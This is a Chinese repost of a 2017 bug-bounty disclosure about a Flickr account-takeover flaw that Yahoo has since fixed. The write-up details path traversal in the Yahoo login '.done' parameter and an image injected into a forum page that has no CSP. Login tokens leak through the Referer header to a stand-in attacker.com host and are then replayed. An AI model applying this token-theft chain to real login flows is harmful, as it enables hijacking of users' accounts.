价值7k美刀的Flickr网站漏洞是怎么样的?
Flickr.com登錄流程概述 ? ?
Reizelman發現每次用戶登錄Flickr.com網站時,都會被重定向到login.yahoo.com域用于身份驗證。 ? ?
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/null ?
以上網址是Yahoo帳戶登錄頁面,用戶被提示輸入他的賬戶密碼。輸入賬戶密碼并單擊登錄后,如果賬戶密碼有效,則將其重定向到以下Flickr url:
??https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value }
Reizelman通過觀察,如果用戶已經登錄到Yahoo,再點擊登錄鏈接:
https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/?
驗證的流程發生在后臺,用戶不需要在Yahoo域輸入他的賬戶密碼,即可完成flickr網站登錄認證。?
這種的驗證方式可能引發其他用戶的賬戶被黑客接管,因為用戶只需點擊單個鏈接(如在某些OAuth實現中)來進行身份驗證,這樣他就可以進行身份驗證。熟悉了登錄的流程,進行尋找是否有會被他人賬戶被黑客接管的風險。?
通過以上的url我發現,我可以控制.done這個參數,該參數控制了登錄token的發送位置,看起來雅虎只驗證https://www.flickr.com/signin/yahoo/這種開頭的域,但是我們仍然可以附加../所以如果我們將../../test附加到.done參數 .ys及.data的Token將被發送到https://www.flickr.com/test頁面。?
這給了我一個引導,假如我在ww.flickr.com找到一個重定向,我就可以把Token發送到我控制的服務器,但是無法在www.flickr.com主域找到一個重定向漏洞,所以我尋找其他的辦法。
經過一番查找,我找到了這個頁面:https://www.flickr.com/html.gne?tighten=0&type=comment,可以在Flickr評論頁面中插入圖片。我覺得也許可以在評論插入一個外鏈圖片,Toeken將通過referer字段發送到我控制的機器上,我發表了一個評論插入了圖片。
??????/img?src=“https://attacker.com/someimage.jpg”/該圖像確實插入在評論中了,但是src值成如下連接:
https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C
這實際是雅虎的代理,把用戶上傳圖片,自己保存,通過代理的方式來加載顯示,不去請求外部的服務器。但是,如果我使用一些技巧,我可以操縱Flickr圖像處理邏輯。發布了以下評論:
??/img?src=“//www.attacker.com/someimage.jpg”/該注釋未被代理操作,并且src保持原樣,按理說圖片會顯示在評論中,但是,有遇到一個問題了,網站使用了Content-Security-Policy(CSP),img-src屬性定義了,只能從以下的網站加載圖片。因為我們插入圖片的網址不是白名單內的,是無法加載的。
Content-Security-Policy:img-src?data:?blob:? https://*.flickr.com? https://*.flickr.net? http://*.flickr.net? https://*.staticflickr.com? http://*.staticflickr.com? https://*.yimg.com? https://*.yahoo.com? https://*.cedexis.com? https://*.cedexis-test.com? https://*.cedexis-radar.net? https://sb.scorecardresearch.com? https://image.maps.api.here.com? https://csync.yahooapis.com? https://*.paypal.com? https://*.pinterest.com? http://*.static-alpha.flickr.com? https://geo-um.btrll.com? https://connect.facebook.net? https://*.facebook.com? https://bs.serving-sys.com? https://*.adserver.yahoo.com? https://*.maps.api.here.com? https://*.maps.cit.api.here.com? https://*.ads.yahoo.com? https://secure.footprint.net知道這一點后,我嘗試在其他頁面尋找可評論的地方,過了一段時間,找到了一個論壇頁面,www.flickr.com/help/forum/en-us/。這個頁面支持HTML代碼插入功能的評論,更爽的是https://www.flickr.com/help/forum/*這個網站都沒用使用CSP。
所以我在論壇發布了以下評論: ?/?img?src?=“?/??/?www.attacker.com/someimage.jpg”/一個外部的圖片被插入到這里:
https://www.flickr.com/help/forum/en-us/72157668446997150/page14/
所以我現在要做的就是構造最終的url,如下:
https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https://www.flickr.com/signin/yahoo/../?../help/forum/en-us/72157668446997150/page14/當用戶點擊鏈接時他被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token},在這個請求中,他向瀏覽器發出來了如下的請求。
GET?https://www.attacker.com/someimage.jpg?HTTP/1.1Host:?www.attacker.comConnection:?keep-aliveUser-Agent:?Mozilla/5.0?(Windows?NT?10.0;?Win64;?x64)?AppleWebKit/537.36?(KHTML,?like?Gecko)?Chrome/56.0.2924.87????Safari/537.36Accept:?image/webp,image/*,*/*;q=0.8Referer:?https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token}?Accept-Encoding:?gzip,?deflate,?sdch,?brAccept-Language:?he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.可以看到Referer字段的含有.data={some-token}&.ys={second-token},將要發送到指定的網址,而這個網站是我們控制的,可以拿到Rerferer信息。
攻擊者通過referer拿到token之后,構造攻擊url,如下
https://www.flickr.com/signin/yahoo/?.data={copied?from?refferer}&。ys?=?{replied?referer即可登錄到受害者的賬戶。
修復
雅虎通過以下的辦法來解決這個漏洞。
1. login.yahoo.com端點上的.done參數僅允許https://www.flickr.com/signin/yahoo/作為有效值。
2.使用“/ ?/ ”的插入的圖片也是固定的。
3.現在CSP應用于Flickr論壇。
修復時間線
2017年4月2日 – ?通過Hackerone的初步報告
2017年4月3日 – ?報告舉報
2017年4月10日 – 報告已解決
2017年4月21日 – 7K $獎賞獎勵
原文發布時間為:2017年5月4日 本文作者:愣娃 本文來自云棲社區合作伙伴嘶吼,了解相關信息可以關注嘶吼網站。 原文鏈接
總結
以上是生活随笔為你收集整理的价值7k美刀的Flickr网站漏洞是怎么样的?的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: java中block标签_[Java教程
- 下一篇: 基于winsock的局域网聊天室实现